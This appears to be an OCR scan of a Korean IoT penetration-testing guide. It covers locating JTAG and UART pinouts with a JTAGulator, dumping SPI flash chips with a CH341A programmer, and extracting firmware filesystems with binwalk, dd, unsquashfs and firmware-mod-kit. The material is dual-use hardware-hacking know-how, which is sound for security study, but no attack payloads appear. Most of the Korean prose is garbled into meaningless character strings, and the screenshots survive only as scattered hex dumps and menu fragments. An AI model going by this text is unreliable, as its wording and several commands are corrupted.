A7HSHH sS40 Rt TCK TMS, TDI, TDO T= Y2{EL} JTAGulator 2| FEOf 8l 7|s2 Ofzfet ZLCf.
JTAGulator = JTAG H A Q|0 = UART, GPIO, SWD Tl A7 W AHZ 7|58 NSstCf.
[Step1] Target Interface [Step2] Funtions H| o
FEd0o a9 g0 43
J Identify JTAG pinout
| Identify JTAG pinout (IDCODE Scan) TDO, TMS, TCK & Al
B Identify JTAG pinout (BYPASS Scan) TDI ® A/H
R Identify RTCK (adaptive clocking)
J JTAG D Get Device ID(s)
T Test BYPASS (TDI to TDO)
Y Instruction/Data Register (IR/DR) discovery
P Pin mapper (EXTEST Scan)
0] OpenOCD interface
U Identify UART pinout TX, RX, Baudrate A/
U UART T Identify UART pinout (TXD only, continuous) TX Ald
P UART passthrough General Commands UART HO/E &
R Read all channels (input, one shot)
C Read all channels (input, continuous)
G GPIO
w Write all channels (output)
L Logic analyzer (OLS/SUMP)
s SWD I Identify SWD pinout (IDCODE Scan)
D Get Device ID
General Commands
" of My H| 3
v Set target 1/0 voltage S MY 2 #H(Chip DataSheet)
[ Display version information SH HUEE &8
H Display available commands A& 7tsT HEO =8
M Return to main menu ool o2 0ls
4. JTAGulator : A}
JTAG T2 MH3L7| O] JTAGulator 2F PC & ¢ ZsH= WS AHEZIC
107
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$31110%

. ]rllq\ll,.ﬂl'nll

PRRRRISY

!!Sii. i3%3s. g383s.

FRINRNY

Step 2) YA Z HAL|QUCHH Of2fjt 20| HZA =2210| 7+s3tCt.

Jhome/kali/IoT

fdevfttvUEB
ev/ttyUsBs

12 166. JTAGulator A& =9Ql (Kali-linux)

Step 3) picocom(Al2|¥ &4 HO/E)2 O|830 buadrate a{2 115200 22 H7dst F| M2 SIH of2fet 22
3tHO| E= &M PpC ot HZO| MLHZ = Z40|C}

$ picocom -b 115200 /dev/ttyUSBO

Uy LLL
Uuuy LLL TTITTTTT 0000000 RRRRRRRRR
Uuuy LLL A TTITTTTT 0000000 RRRRRRRR
Uuu  uuuu LLL TTIT 0000 000 RRR RRR
UUUU Uuul LLL AA TIT 000 000 RRRRRRR
vuuuuuuy LLLLLL TTT 000000000 RRR RRR
GGGGG G UUuuuuUul LLLLLL TTT 000000000 RRR RRR
GGL RR RRR
RRR
RR

[

(]

Welcome to JTAGulator.
Warning: Use of this tool

Step 4) JTAGulator 2 = H M2 YHSIA =W, E2 AHEO|A ZSF/L AMEIFsS HUMEES =g &

ULt

[y Iy ¥

(73]

Display
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5. JTAGulator: JTAG A8 A&
JTAGulator & 0| 8310 M JTAG 2 FFME 16 TO| JTAG TO| =X &olg 4= ot HAEE= Kali-linux
20222 HHM o2 FISHS LT

Step 1) TS 71710 M JTAG 2 FEE= HE ETSHN JTAGulator 2| chO~cn15 O HZASHL. FHX|(GND)
= PCB 7| &2 ofiHet HX|(GND)E AtEdl = FEStLt.

Step 2) JTAGulator 2 JTAG 2ZHE 3t7| © 1/0 voltage £ 273K OF :
3.3V O[X| 2, MCU(SoQ)2| H|O[E A|EOM AHE H RS =I5t AEStE 0| ELt

Current tar
Enter new

Step 3) MYS MHE 0|3 JSMS 0|80 EFH QIE{HO|AS JTAG 2 MHSIL, HEMS 0[838t0] JTAG

J enti JTAG pinout
I entify JTAG pinou
G pinou

ister (IR/DR) discovery
Pin mapper !
Open0OCD inte

Displ
Return to main menu
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Step 4) JTAG pinout 2 AE5t7| 8l ) 42 O[&2tCt AKX chO~ch15 T HZEZO JALE=E Starting
channel O 0, Ending channel Of 15 & R&3BICt “Press spacebar to begin” EAtE0| EHL|H AHO|AHE
=2 AME SAHTICE AZH0] HYHoz JzL|0] JTAG 2t EHEHO| E[H TDI, TDO, TCK, TMS & JTAG =410
AFEE|E pinout o] R E 2{FE0|, “No target device(s) found!"7t EHE|QACE Ol sy = O| JTAG 7t
OfL|2tE SE0|0f HEof A= 7|17]0f= JTAG HO| Qs Aoz mEtet 4= Qlrt,

J
r starting channel [@]:
ending channel [15]:
ible permutations: 43

Bring channels LOW before each permutation? [y/
Press spacebar to begin (any other r to abort) ...
JTAGulating! Press any key to abort ...

evice(s) found!
complete.

a2 172, JTAG T Tk

2020 H& O|F0f =A|E IP ZtH2f, EIHE, S]7|, AOE =08 & & 19 CHQ| Smart Home loT 7|7|E
ZALSHE 21t JTAG E AHEStH= 717 EMSHA| LRUACEH 1 O|F+= JTAG 7 UART 2Lt CHYSH HHOE A8
= A4, FA| HEZ0M HANE LS 5= A0l 2O O|RE JTAG ELCh= UART £ FE A&t
Z=Mlo|7| Wj-ZOo|Ct.

rir ru

= (=
10.2.4. EciA| {22 H=
‘H%IIOII I'%l W Yes
No
@ 3E Yo @ Yool E T3 ALIE @® ClH 1 ZE(UART, JTAG) (4) ZofA fee] g=
: < /1"3:_”\ T~ :! — é'ﬂ|°|; S = |:|/u|:[ ZE g 3
i o @A __— T JsR® - e 3
| ~ I — ! ~ 3
| " N I 1 l, ‘
3 ‘ zeojaa ‘ i ‘ VART ZE 4% ‘ ‘ JTAG ZE AE ‘
H‘ EEAENEE ‘H‘ o) o1 ‘ ‘ ITAG debugger ‘33’ o e “
‘ BRo| 2= ‘ ¥ ‘ "9lof Bz ‘35 ‘ B 58 ‘ ¥ ‘ moo| =3 ‘
A
’ HAO| 24 ‘

a3 173. Ao &S5/3E SEE - E9Al K22 =
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10.2.4.1. E24A| B =2

loT 77|12l Edd 8 220| 1 37|17t 2 StECIAAE AMESH| of2{fl B2 2d 222l EEPROM 1t
Flash Memory € M2 AESICE EDE, Flash Memory = Nand Flash Memory 2t Nor Flash Memory 2
TEEH, F2 4HoZ M Hst Nand Flash Memory & AFESHY 10T 7|7| & F/d$Hot

T= Nand Flash Memory Nor Flash Memory
Hi = gt Kol o] AHZ Hj Y Bt N[O Mo| HE 2 B
XIP® 2l s

Q7| /M7 /ALK B S /tE /S O 45/ = 2l /0 @ = 2
HIE X 7t nb/s

Otz ARZIC| EZh U2 ghA oFof QU= WEjo| EO| LHHO 2 FaA| M2 HEJO|C
2

AK3918ENO§
Y300
AAST11L2(

& v L L LT

a8 174. E2HA Kl =2

5 XIP = Flash Memory LHO|M REE H¥A|Z = U= 7|50|C

M EQST
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10.2.4.2. SCiA| M 22| HZ
CH341A Programmer = EZ2iA|H 22|, EEPROM 2 AL & &= UEF X|JHdt= 0|0 H&52 EiA
HEZZ|E Mo 2 TIHSILt EEPROM & HI St g S USICH

A% 175. CH341A Programmer 2|2t

1. AX| U FH| 014
CH341A Programmer £ ArEdt2{H ZH|Q| E2I0|HE HX|sHOF StCl E2t0|H MHX| DY QAHU HofN
A T 4= Qom, "CH341SER" 7} Ot “CH341PAR drivers"E MX|S{OF S2iA| H 222 = & 4 QIC}

Step 1) S2t0|H] AX|= Of2§et ZH0] “INSTALL"S S2l3tct.
# DriverSetup(X64) — bt

Device Driver Install 7 UnInstall

Select INF CH341WDH. INF y
WCH.CN
INSTALL
| __ USB-EPP/IZ2C... CH341A

| 86/085/20809, 2.2.2¢
UNINSTALL

12! 176. CH341PAR drivers 2 X|

ol MX[7t A2 QUCHH FHIE PCO| HZ = TX| XN Hof AZ OfFE =QISHCH E2t0|H 7t
A MK =l AR of2 et Z0| Interface O ZHH| 7} Q1AlE|Of EA|=ICH

Step 2) YA|ZAZIXOM g FE HFE =QISHDt.

= —

OEF S5E 2V ESEH
% FIE HE B X®
~ & SKIN18DT00013 ~

3 Bluetooth
' DVD/CD-ROM CEH0|=

IDE ATA/ATAPI HHEER
v I Interface
@ USB-EPP/I2C... CH341A

= W50 Bl S5 At

12! 177. driver A X| &9l

e EQAST
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Step 3) E2iAl M2zl HZE 23t T2 I(CH341A-USB Programmen) & AX[SICH HE0ME 130 HES
AHE 3L,

OIE ) FH3 2R 8% 37
CH341PAR drivers 2016-08-16 2H 12:08
% CH341A - USB Programmer 1.30.exe 2016-08-16 27 12:08 3,398KB

13 178. CH341A-USB Programmer %]

Step 4) T2 3 | A A| A7} SZO{2 MHEO QUL “Languages” O A English 2 A StC},
% CH341A Programmer — O %

File Data Buffer Operate Languages Help
] | [ El English b £ R £ o | @ | [
it

Open Save Fill Russian (by Netman2s) A wiite: Werily Eraze b About Exit

Chip Search Detect Russian (by Netman25_new)

Type: | 26526 5P| FLASH ~

ZI
o [T

6 67 68 09 OGA BB BC BD BE OF B12345678B9ABCDEF -
FF FF FF FF FF FF FF FF FF . . . _ .. . ... ......
" gooeoe18 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ... ... ..ccciiaan.
ooeeee20 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF .. ... ... .. iaonn
Nare: | GD 25064 “| 90000030 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF o uoveinceennnnns
Size: BMBYe/BAMER 00000040 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF  vunveenneeennenn
aooenese FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ... ... oo
900080068 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF  onovneinneennnnnn

13 179. CH341A Programmer

Russian (WE7R?

Manu: | GIGADEVICE

2. CH341A Programmer HZ

CH341A & ¢Zdle= O|E2|(B2{A|H 22|, EEPROM)O| 2} BAMSH= QX|7} Cr2Ct ofgf AR EH

]

Z A 22| (25XX SPI BIOS)= QtZ, EEPROM(24XX 12C EEPROM)2 HPZZ0f| ARSI 2 M L|0of QICt,

A Ta DYGNO L
o

=L i
¢ =

" 25XX SPI  24XX I2
N BIOS | EEPROM

CH341A Pro'—

1% 180. CH341A Flash 2} EEPROM
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HAEZEES AFESHH 22| B 22| S PCB lM = 2l(desoldering)StA| G411 HIO|EE HZ & &= ULt
J3 181. HAE E&S 0[8% S2A K22 H=
HAE 28 2X @ J@HE X X TE oy 717l SHAHZEE AFEStL A2 2 "25XX SPI
BIOS" 2210 {BE S £OFOf ohCt. 1 & EO| 2|X[= Otz At 5 ZSHOF St
S ROOF

Step 1) CHA341A O H|IAE
0 A

SHH, 1 & Ho

a7 182. o HE AX|
HE KO =5 AZol

#2744 21010) 1

=
AE ZE

Step 2) H|

Aolg AHZE

13 183. HAE &
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3. oAl HIZE| QA4
SHAHEZ= &2 20| Y= X7 1=
YA 2tolo] L =5 ZX|3HOF S}

ol
—

O|C}. CH341A HAE 2

2|
=

o

Sl

X0 AHol=2|

oLt 914

o| ol ZejAln=E|of

PN

=

~

=

=

=/

gl A

—

o

2 "Detect” H
O] £[™ Type, Manu(M|Z AL, Name O] AtS 22 Al

o

E
[—
E

o=

o
=
—

=& 2 W chip ID 7t

Ct.

Al EH
1=

% CH341A Programmer
File

A

=
Open

Data Buffer
o |

Save

Fill

Chip Search

28426 SPI FLASH

Tupe:
Manu: | EON
Mame: | EM250H128

Size:  1EMBuyte128MEi

w

Operate

Languages

|
Swap

M ain Mermory

Address

ga@gaae1a
appppezAn
o@@aeaez A
60000048
a@geaesa
aa@aaaa6G A
apppoay A
Ll L ik s
600080898
aageaeAn
6A@aAABEA
appppacA
a@@aaaeD A
600068E8
aa0aeaeFa
aa@aaa1aa
AAAAAT1A

&

Auto

]
GF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF

a1
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF

Help

az
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF

&

Blank.

03
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF

o4
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF

o5
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF

&

Read

06
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF

o7
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF

&

dite

a8
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF

a9
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF

& |
Al

erify

A
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF

8B
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF

ac
FF

FF
FF
FF
FF

FF
FF
FF
FF

FF
FF
FF
FF

FF

Erase

ab
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF

(3
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF
FF

oF
FF

| ®

About

s

Exit

B8123456789ABCDEF

16:50:20 097 Detect chip ID: $36, $00. $00, $00

-

flE:50:26 172 Detect chip |D: $FF, $FF, $FF, $00

0% I

Official Stare: SkyGz. TaoBa0.Com Author: Campanula night Siwu(SkyGz] Copynight: Maple Online

Ovenanite  Offset: 00000000, 0 Device state: Connectec.

C k=3
2AZS

stols of

115

38 185. E2A| K22

Az

3

Jiot

ol

(=

Search” 7|

Ct2 BTl CH341A Programmer

L ©

o=

o|gsi ZzfAlH=2|of ®7|E
2 X506

=

EQAST
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25426 5P FLASH

Type:
Manu: | GIGADEYICE

MName: | GD 25064

Sizer  BMBute/B4MEit

0%

Languages Help
o | & & & % 3 < | €Y, | [+
Swap Auto Blank. Read WTike Werify Erase Lbout Exit
I ain b emon
Address _1'A A1 A2 A3 A A5 A6 A7 AR A9 AA AR AC A0 BE AE A123456789ABCDEF [l
!& Chip Search X .
990081 0y ame: [25064 FindSChns [Tttt
e@po@g === - T e
popg@aq Case insensitive, and support wildoard character ™, for example: EN25°80 Lo L,
8000688 | Chip Name Chip Size Manufacture Type | heeeicaeaaas
000008 |EN250E4 BB yte/BAMBit ZEMZESPIFLASH Leeeocaaaa.s
aoo0at > B4 B4MBit  |GIGADEVICE | 25426 SP| FLASH [
appeag |Ww25064EY BB yte/E4MBit WINBOND ZRZESPIFLASH beevemaaans
oaeeeE |W2B0E4FY SMByte/B4MBit WINBOND PEMZESPIFLASH beewemmaaans
000088 |W2E0E4FY SMByte/E4MBit WINBOND ZRAZESPIFLASH beewomeaaans
5T 1 o
55 1 e
55T 1T
@@ee@d e e e e
LT T
e@eede P (e o ke
Select X Cancel
soooe === i T
annAR11n| FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ..o uouueuuan.. &
16:21:43 225 Detect ¢ $FF. $FF. $FF. $FF
1
Ovenonite  Offect 00000000, 0 Devics state: Connecte |

10.2.4.3. 9o ==

ChipID 7} M2 QA &l B2 &E2| "Read” BE 2 =50

13 186. Chip Search 7|5

sAHZEe LiES E§E &

—

+
£Q
n

& CH341A Programmer

File Data Buffer

Operate

Languages Help

Chip Search Detect

Type: | 25426 SPI FLASH
Manu: | EOM
Name: | EN250H128

Size:  16MBute/128MBit

I ain Memory

Address '8 B1 82 83 B4 85 86 67 B 6C 8D
@O8EESAG 83 69 BY E8 Ba D3 BS %A 1 68 29
BOSEESBB 53 ED 9B 48 AF B85 16 BF Fead }9 sc o6
@psEESCE FA AE 71 B? B8 4C 2B 14 5 66 8D
@ASEESDA| F8 AE 6B BY 86 82 98 DB 83 83 1A 15 1F
@OSEESES 5A 681 3E 45 A8 1F 5D 4A 8B 6B 85 19 35 59
BOSEESFG| 24 A8 BD 8A A3 ED 79 AC FA E7 F2 9Aa 41 3C
BOSEEGE8 C7 95 5C 9A4 4C B2 54 DD 8D FD 38 C2 D2 60
@O8EEG18 8C 38 FF 16 2D 66 4D 8F C3 98 8E 9B OF 27
BOS8EEG628 97 31 BB DF 1E 5D 9D 3F A2 BC E2 CB 1D E9
@OSEEG30 89 FE C5 CA AD 7F 4B Cn 1E 9B Ch 48 92 23
BOS8EEsLB | 88 CF 921 4C 91 6F 1A B? 98 51 77 E2 DD AC
@PSEEG5E 19 EB E5 2B 13 €O 77 F1 22 5B AO 41 C1 E2
BO8EEG608 59 9E 36 2E 85 26 78 65 4@ 35 73 A7 BA D9
gOsEEG78 DF DD EA CE BA A4 99 C6 82 D5 8 E9 77 8D
BO8EEG80 2D 61 47 E6 4@ BA 68 33 BD DA D3 D2 42 11
BO8EEGs98 1F 32 63 5F 3A 94 3C E5 31 C2 B8 19 75 BF
@OS8EE6AB 5C 8D 16 E8 69 53 11 E5 3% 13 1n EC E6 6A
AARFFARA| C4 58 E4 9D CD B85 BB BA 1E 98 26 44 5C 8A

BE
a6
5C
5F
ac
74
AC

o8
FG
i1
x|
1G
AL
C1
DE
[HH
AE
EE

|
[m]
X

@

About

o |

| (123
Abart

Ezxit

OF 8123456789ABCDEF -
FF B. &mdfl.n)..
62 S{EH E..u(jQE%._%b
44 (§q' .LE.(JSULFE_D
D2 cER'EENAf.E....0
9F Z2.>E .]JEKE.S5YtN
58 § .EgiyL{coNA<—P
53 CEWEL:TYEy8A0° %S
88 NO..-FHEEEEN. NN
F8 .1.[-107g.3E.&0¢
7E R{AC -BKE.mfEm#q™
7C R{ELEo.'HQuiY-1]
88 A&+ Awit[ AAA-N
1E  YE6.BM&pe@5sE ).
4F (V&7 mA.Dméum}0
72 -.Gz@.3V000B. fr
D3 .2c_:E<E1Em.u.]0
62 WH.&iS.39..7:j¢b
66 APANT.° ‘N DWRGF hd

16:50:26 172 Detect chip |D: $FF, $FF, $FF, $00

16:50:44 320 Detect chip D: $1C, $70, $18, $00

1 53 639 Detect chip |D: $70, $18, $1C, $1C

W

| Reading...

Ovwenwrite  Offset: 00000000, 0 Device state: Connectec.

= HAAlOl= "Save” HHES =2 MESICL

116
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e
R

B CH341A

File

Data Buffer

Frogrammer

Operate Languages Help

£
-
Open

&

Read

=2

BElank

Save

| - | (o]

Fill Swap Auto

Chip Search
Type: | 25426

Manu: | EON

Size:

| —T |

Hame: | EM250H128 ~

16MBute/128MBit

b ain bemory
Address 18 81
SPIFLASH ~ ~ | @eB76E29 | CE 43
.|| @eB7éE30| BE 43
BBB76E40 | 56 67
BBB76ESG | SE 6A
@8B76EGH | 5A AF
BeB76E7 A | BC 31
0OBFGES0 | OE 73
aeB76EQ0 | 25 71
@BB76EAG | 55 8F
08B7GEBG | 99 89
BBB7GECHA | CA 63
08B76EDG | CB S5A
GBB7GEEG | BA D3
BBB76EFG | 22 4A
@BB76F B0 | 27 46
0eB76F10 | BE b
aeB76F20 | C7 AA
AAR7AFAA | 64 BS

Detect
8z

co
oB
)
co
14
32
AsS
cy
2D
oB
6D
11
8o
D4
F8
96
a7
)

a4
82
A9
5B
8E
5B
35
14
AB
98
73
49
82
A
43
AB
24
8F
c7

a5
1F
[H:]
FF
Ao
3B
14
17
Ch
1D
OB
19
[Hry
10
BB
77
2E
Ch
19

a6
88
a7
a8
CE
71
8F
FhA
6B
2E
D6
EA
98
61
CE
1A
E7
EE

65 Ao

e

Exit

E (&1 @

‘wiite Werify Erase

@
- |

Abot

a7
8B
EC
CE
RE
2E
98
1C
95
ng
62
98
4a
2n
1E

o8
[T
SF
st
9B
oD
ne
11
7B
2B
2y
68
Fo
)}
7D
FF
6
59
AB

a9
c2
ca
81
97
B2
o4
FE
]
11
AE
oc
RE
1
97
F&
64
38
15

an
6A
9E
26
51
11
A8
5A
1B
41 FB
33 8%
1A 8D
98 73
58 4D
E5 C1
SE 88
F8 38
D5 DC
A5 67

aB
4B
83
2B
3B
D6
B1
8B
98

ac
[i1H
93
16
Fé
F3

an
a5
Ed
D4y
62
DE
44
29
B2
TE
o8
6A
A7
3F
58
12
[HH
BD
16

BE
33
B1
FB
1]
FE
9E
38
1]
78
EE
61
18
1]
BD
Ed@
EB
E1
(1]

8123456789ABCDEF
Tehsm EREE{KL 3y
3C0MDE. T_Ammmzoy)
UgP L[ .. THm&+_((d
YL IR L
27.[[:9-02.00FA
1225 00-0 - DRE
LS¥G. ... [ZH&) 82
%qTo«ikN{ _MIZ8%
UR-nB. .0+ .A (A~XRE
mm() -sE(b$ 3. 507D
Eem; 1.0 0. .(0ja1
[or 0 Tel TSV EXEI
' D1 . a*xJUPHMT?§$
“J0 e ym3EHE LD
"Frosw.x.0"16.3u
»DE.B.cHjd@u &l
CrmmAT-veil_la)
diler fi« _¥ax.d8

26
4o
C3

D4
De

48
36
Fi]
5F
ik}

8E
1E

16:50:59 633 Detect chip (D $70. $18, $1C. $1C
16:50:53 712 Reading..

16:53:38 170 Read - Speed: 24564 Byte/Sec, Size:
1E:53:38 172 Yerifving,
1 38 20

I7 Werify - Speed:

24564 Byte/Sec, Si

1E777216 Byte, Time: 00:02:38:454

1 16777216 Byte, Time: 00:00:00:031

W

|HeadNerify - Speed: 24557 Byte/Sec, Size: 16777216 Byte, Time: 00:02:38:500

Overwrite  Offset: 00000000, 0 Device state: Connected.

12 188. ©H= Zq X%
HAO mYS Binwalk E2 0|83t FZE2 ALt otzfier 20| mY A|AEEZ HIED
2HoIst0] YAXMOoZ ZEefA e =7t RSS2 =l = Qo

DECIMAL

131204
229376

HEXADECIMAL

0x20084
0x38000

test@test-virtual-machine: ~/Desktop

$ binwalk -e goad®i.&la
DESCRIPTION

CRC32 polynomial table, little endian
uIlmage header, header size: 64 bytes, header CRC: 0x568D245B, created:

2021-06-07 03:09:24, image size: 1516584 bytes, Data Address: ©x82208000, Entry Point: 0x82208040,
data CRC: OxEA601D@1, 0S: Linux, CPU: ARM, image type: 0S Kernel Image, compression type: none, imag

e name:
229440
243295
243516
1810432
931304
2859008
2863648
2863715
2867200
3363660
3366912
3555328
3907584

"Linux-3.4.35"
38040
X3B65F
Ox3B73C
0x1BAOGO

Ox2BAOOO
0x2BB220
0x2BB263
0x2BCO0O
0x33534C
0x336000

x364000
0x3BAOOO

Linux kernel ARM boot executable zImage (little-endian)

xz compressed data

xz compressed data

Squashfs filesystem, little endian, version 4.0, compression:xz, size:
bytes, 357 inodes, blocksize: 131072 bytes, created: 2020-03-09 11:05:06

JFFS2 filesystem, little endian

Unix path: fvar/run/udhcpd.pid

Unix path: fvar/lib/misc/udhcpd.leases

JFFs2 filesystem, little endian

JFFS2 filesystem, little endian

JFFS2 filesystem, little endian

JFFS2 filesystem, little endian

Squashfs filesystem, little endian, version 4.0, compression:xz, size:

3 189.

Host ®Q 0o biwalk 2 0|23t M
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10.3. Hejlof 2 M
10.3.1. HHlo| &M £

BRAOIS Flash Memory O 2% Ifo] HEf2 ZXfotn UCH SHXITH HYOIS L5 w4 Yurxol s
Yal(zp, tar 5)01 OfLIZ YHS MY HEo| TRE 0[O B EP, SH A4S Aef 4ol
7:

gds 500 HAEE & =& UCh

s
Dl
Ot
N
s
El
m9
o
mjo
g
uS
30
rir
0
o
2

step 1) TFLA|AE QZMZ 0|85 HY OO A THLYAAHR F=
o= $ dd if=firmware_name of=extract_file_name bs=1 skip=filesystem_offset
FE I extract_file_name

ML pinwalk o TI0f ALY 24 ntH60A BESH £ O, extract file name &
AtEXLZL |sh= O|E2 YHOFH =ICt
S sudo dd if= ‘e . bin of=test

bs=1 skip=3145728
[sudo] password for eqst:

7995392+8 records in
7995392+8 records out
7995392 bytes (8.0 MB, 7.6 MiB) copied, 14.1498 s, 565 kB/s

:I-E:'I 190. _u_I.OIAIAE-II gu.kllo o|.9.o} u_I.OIMAEiI _’It_%

stpe 2) squashfs THYA|AEIO| &4=Z SiX|SH == unsquashfs £ 08310 &= Si{A|
g0 $ unsquashfs extract_file_name
FE oY squashfs-root

FE binwalk 2] HYOf AIOLIN 24 WM 2S5 - A2, X 24 S YYo=

. S sudo unsquashfs test
Parallel unsquashfs: Using 2 processors
958 inodes (1117 blocks) to write

/1 1117/1117 100%

created 767 files
created 161 directories
created 191 symlinks
created 0 devices
created 0 fifos

% 191, TrUA AR = sfiH|

64.1.2 9| binwalk 2 H =0 A HAO| ALK 240 Ci3 & 4= A2 5.1.2 binwalk E=0A i E0fl CHSH RHMS| 2 SHet
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S s
test

$ ¢d squashfs-root/
S s

2 192, A

1>
o2

10.3.1.2. binwalk

AILUME 7jutoz Helofof OfE3t HO|E[SO| YL SIS zFo|ch Y Hglojo] ofF|HH,
AE2I, MGUAAH S BYOIS THID Y ER HSof tisf ¢ 4 Ak

1. binwalk AX|

binwalk 2| HX[= sudo apt-get install binwalk BHOIE Solf ZtTHstA HX& 4= U2, Kali Linux 2 4<%
7l@™e g dX[g|of At

Reading package lists... Done
Building dependency tree

$ sudo apt-get install binwalk

Reading state information... Done
binwalk is already the newest version (2.2.8+dfsgl-1).
0 upgraded, @ newly installed, @ to remove and 285 not upgraded.

12! 193. binwalk 2 X|

2. HY0f ALK £

AN 240 dojor & T8 FE= CPU OF7[HN, OtUAAY oM MYUALE FFR, HOIE XNE

- 1 — O oTr, —_— o
SWAO[C THUAIAE QEAC| FL TIUNAE FHS 96} LRSICH CPU OF7|Eet BOIE ME YAl
0|20 QEMU € S¢t 85 &4 A0 QEMU &8 70 T2t FEOo|tt

HA0f $ binwalk firmware_name
1. CPU O}7|El

2. OI-:;‘:_ HEAI

Al
3. DA A 2= M
4, TGHUA AR F
5. HIO|E X% %

6. Linux Kernel HE™ S

Jiot
din
N
olr
oA
HT

S binwalk

HEXADECIMAL DESCRIPTION

cpu O UIMpaaeeenaey header size: 64 bytes, header CRC:
OxF1ARD22D, CicaLeu. 2021-04-26 ~nage size: 2018528 bytes, Data Addr

esst” Ox805F2BDO, Entry Point: Ox805rZBUU, aata CRC: Ox3EE7EC7, 0S: Linux, CPU:
MIPS, image type: 0S Kernel Image, compression type: Naoodoeco oonor slions, 3

" OIAA( = HIO|E X l
.10 ii%!ig%'i%ﬁi HEAAY &, HI0|E HT Y4
4504 LZMA compressed data, properties: 9x50, dictionar

y sige: 67108864 bytes, uncompressed size: -1 bytes
3145728 0x300000 Squashfs filesystem, little endian, version 4.0,

compression:xz, size: 7992542 bytes, 1119 inodes, blocksize: 131072 bytes, crea
ted: 2022-05-09 07:23:31

a3 194. SO ALK 2N A3}
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Hellof o7 IH N EH
Helol of7|EN= ZSR/RIE BXIT CHEE MIPS, MIPSEL, ARMEB, ARM 4 ZtX|E AHESICE {MIPS:MIPSEL),
{ARMEB:ARM} 49| Xt0|= HIO|E X% A0 Big Endian O|Lf Little Endian O|LFQ| XtO|O|Ct OHE HH &=
HAUOE HxD 2 SO{EH =tolet = Q[T

E

HE0 $ binwalk -A firmware_name

sjAzt0] TBE Z2 Of2fet ZO| OFFIHHTE AO] LIE & 7| TR0 file SO FOIY MK HZFO)

S binwalk -A

HEXADECIMAL DESCRIPTION

MIPSEL instructions, function epilogue
MIPSEL instructions, function epilogue

MIPSEL instructions, function epilogue
MIPSEL instructions, function epilogue
0x1638 MIPSEL instructions, function epilogue
0x1098 MIPSEL instructions, function epilogue
OX430FFF ARM instructions, function prologue
10241274 Ox9C44FA ARMEB instructions, function prologue

18 195. HYof of7| K £

BOIO| THUNAH 5

a
binwalk -e 242 0|&% TUAAH XtE FZHO|CH F5 Al Al HO AlOLUN 2M2 HY TASH = T
AL Ko StF Xt5o 2 mtAUAAHS F==S| =Ct
step 1) binwalk £ 0| &%+ I AA[AH S5 Al
o2 0f $ binwalk -e firmware name

3 Of2ff AFZIOfA] E0|= WARNING 2 FA|SO{ = A 2HeiCt,
S sudo binwalk -e
un-as=root

DECIMAL HEXADECIMAL DESCRIPTION
uImage header, header size: 64 bytes, header CRC:

©xF1ADD22D, created: 2021-04-26 02:23:44, image size: 2018528 bytes, Data Addr
2ss: Ox805F2BDO, Entry Point: ©x805F2BDO, data CRC: Ox3EE7EC7, 0S: Linux, CPU:

MIPS, image type: 0S Kernel Image, compression type: none, image name: "linux_3
.10"

4504 0x1198 LZMA compressed data, properties: 0x5D, dictionar
y size: 67108864 bytes, uncompressed size: -1 bytes

NARNING Symlink potnts outside of the extraction directory: /home/eqst/Desktop
s .bin.extracted/squashfs-root/tmp -> /var/tmp; changing link
target to /dev/null for security purposes.

& 196. TtUA| AR X}

oln
al
h
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step 2) LHUA|AE =0l

F53 0z Oy

£ &TEDH extracted 2t= 0|59 ¢
A
9

300000.squashfs

E
squashfs-root C|H E

_@R>.bin.extracted/
S ls

$ cd squas
hfs-root/

S 1s

13 197, ThUA|AE

ClHEE|7t $EErnt sig CIMEZ| Qo
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10.3.1.3. fmk(firmware mod kit)

fmk £ binwalk & 7|22 SX5= HYO 24 EFO0ICE binwalk & AFE Al RSts Z2uto| Se S9S
AFEAEZE A RIGBF0{0F Bt} SHX|T fmk = £ SHE2 FXA QOtE ASHo =2 FEHFH, FF 0[2(9

Crefet 71552 M3dtL ULt

(% @3 : https://github.com/rampageX/firmware-mod-kit.git)

(X 2 MM = DAL E> FE0f Ot 28 LR S0

step 1) github O A fmk CH22E

$ sudo git clone https://github.com/ra

mpageX/firmware-mod-kit.git
Cloning into 'firmware-mod-kit'...
remote: Enumerating objects: 3713, done.

remote: Counting objects: 100% (82/82), done.

remote: Compressing objects: 100% (54/54), done.

remote: Total 3713 (delta 37), reused 45 (delta 27), pack-reused 3631
Receiving objects: 100% (3713/3713), 10.44 MiB | 8.99 MiB/s, done.
Resolving deltas: 100% (1940/1940), done.

O3 198. fmk CI2EE A&

step 2) &= SiXl £ configure, make 1Y =¥

$ tar xvfz fmk_XXX.tar.gz
$ cd fmk/src

$ ./configure

of
ol
2

$ make

step 3) fmk CIZ E2| LHO| extract-firmware.sh £ O|&3}0] LtUAARS FET 4= QIC}

ware.sh i .bin
Firmware Mod Kit (extract) 0.99, (c)2011-2013 Craig Heffner, Jeremy Collake

Scanning firmware...
Scan Time: 2022-08-03 16:40:18

